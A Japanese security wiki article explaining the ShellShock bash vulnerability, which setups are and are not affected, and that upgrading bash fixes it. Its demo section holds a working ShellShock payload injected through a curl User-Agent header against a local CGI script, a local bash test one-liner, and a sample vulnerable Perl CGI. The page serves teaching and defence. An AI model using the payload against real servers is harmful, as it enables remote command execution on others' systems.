ShellShock

提供: セキュリティ
移動: 案内検索
スポンサーリンク

ShellShock(シェルショック) とは、Unixのシェルの1つのbash脆弱性です。ShellShockでは、シェルを起動してコマンドを実行するタイプのウェブアプリケーションを利用して、リモートでコマンドを実行することができます。

読み方

ShellShock
しぇるしょっく

概要

必ずしも脆弱性が利用可能というわけではありません。条件が揃ったときに、ShellShockは猛威を振るうかもしれません。

ShellShockは、環境変数に任意のコマンドを設定して、bashを起動することで、任意のコマンドを実行できます。bashコードインジェクションとも言われます。

プログラミング言語でコマンド実行に利用される system()関数などを用いている場合、system()関数は、OSのシェルを起動して、コマンドを実行します。このシェルは、環境によって、実行されるシェルが異なるため、bashに脆弱性があったとしても、ShellShockの影響を受けない環境もあります。 ウェブアプリケーションが system()関数を利用していて、system()関数がbashを起動している場合には、ShellShockの影響を受けます。

影響を受ける環境

  • system()系の関数で bash が起動される
    • /bin/sh が起動されていても、/bin/sh が /bin/bash のシンボリックリンクやハードリンクになっている場合は影響を受けます。
  • 明示的に bash を起動してコマンドを実行している

影響を受けない環境

  • FreeBSD は影響を受けません。
  • system()系関数がbashを起動しない。
  • ShellShockに対応したbashがもう入っている

ShellShockのデモ

bashに問題を確認する方法

$ env x='() { :;}; echo this bash is vulnerable' bash -c :
this bash is vulnerable

ウェブアプリケーションの問題を利用する方法

curlコマンドを利用した、ShellShockの確認方法です。

$ curl -q -A "() { :; }; /bin/uname -a" http://localhost/test.cgi
Hello
Linux u1.local 3.13.0-23-generic #45-Ubuntu SMP Fri Apr 4 07:01:54 UTC 2014 i686 i686 i686 GNU/Linux

test.cgi の例です。

#!/usr/bin/perl
print "Content-type: text/html\n\n";
 
print "Hello\n";
system("bash -c ls -l /etc/passwd");

デモ

ShellShockのデモの動画です。フォントが小さいので、画面を最大化し、HDの最大画質で見てください。


YouTube で視聴される方は、 https://youtu.be/tbYMlyYRrgg から閲覧できます。

対応方法

bashのバージョンを上げるだけで対応できます。

関連項目




スポンサーリンク